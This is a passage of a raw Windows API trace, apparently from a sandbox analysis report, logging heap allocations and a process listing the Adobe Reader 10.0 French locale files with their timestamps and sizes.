(HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a588 [0081.982] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b0b0 [0081.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.983] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.FRA", cAlternateFileName="")) returned 1 [0081.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.983] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.983] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a5a8 [0081.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b1b8 [0081.984] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.984] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.FRA", cAlternateFileName="")) returned 1 [0081.984] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.985] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a5c8 [0081.985] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b2c0 [0081.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.986] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.FRA", cAlternateFileName="")) returned 1 [0081.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.986] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.986] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a5e8 [0081.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b3c8 [0081.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.987] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.FRA", cAlternateFileName="")) returned 1 [0081.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.987] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.987] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a608 [0081.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b4d0 [0081.988] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.988] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="SaveAsRTF.FRA", cAlternateFileName="")) returned 1 [0081.988] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.989] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a628 [0081.989] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b5d8 [0081.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.990] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6200, dwReserved0=0x0, dwReserved1=0x0, cFileName="Search.FRA", cAlternateFileName="")) returned 1 [0081.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.990] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.990] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a648 [0081.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b6e0 [0081.991] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.991] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4200, dwReserved0=0x0, dwReserved1=0x0, cFileName="SendMail.fra", cAlternateFileName="")) returned 1 [0081.991] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.992] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a668 [0081.992] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b7e8 [0081.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81f71060, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81fe3480, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81fe3480, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Services", cAlternateFileName="")) returned 1 [0081.993] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7ddfb360, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Spelling.FRA", cAlternateFileName="")) returned 1 [0081.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.993] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.993] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a688 [0081.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b8f0 [0081.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.994] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f50a880, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="updater.FRA", cAlternateFileName="")) returned 1 [0081.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.994] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.994] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a6a8 [0081.995] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127b9f8 [0081.995] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.995] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.FRA", cAlternateFileName="")) returned 1 [0081.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.996] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b7d0 [0081.996] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x125a6c8 [0081.997] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x127bb00 [0081.997] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b7d0) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Weblink.FRA", cAlternateFileName="")) returned 0 [0081.997] GetLastError () returned 0x12 [0081.997] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\fr_FR\\*", fInfoLevelId=0x1, lpFindFileData=0x119e9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e9e4) returned 0x2e9100 [0081.997] FindClose (in: hFindFile=0x2e9040 | out: hFindFile=0x2e9040) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d749580, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x82f824e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d9aab80, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb600, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.FRA", cAlternateFileName="")) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x6e800, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acroform.FRA", cAlternateFileName="")) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801d5ec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdobeCollabSync.FRA", cAlternateFileName="")) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82b7dfc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x7f600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Annots.FRA", cAlternateFileName="")) returned 1 [0081.997] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x820558a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3800, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRdlang32.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82e05720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x20a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Checkers.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DigSig.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="DVA.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ec3e00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="eBook.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xa800, dwReserved0=0x0, dwReserved1=0x0, cFileName="EScript.fra", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="IA32.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da69260, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="makeaccessible.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d749580, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x14400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Multimedia.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da1cfa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="pddom.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82ddf5c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x88000, dwReserved0=0x0, dwReserved1=0x0, cFileName="PPKLITE.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7f82a560, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x15ee00, dwReserved0=0x0, dwReserved1=0x0, cFileName="RdLang32.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x82f824e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadOutLoud.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7da43100, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x0, dwReserved1=0x0, cFileName="reflow.FRA", cAlternateFileName="")) returned 1 [0081.998] FindNextFileW (in: hFindFile=0x2e9100, lpFindFileData=0x119e9e4 | out: lpFindFileData=0x119e9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dab5520, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, 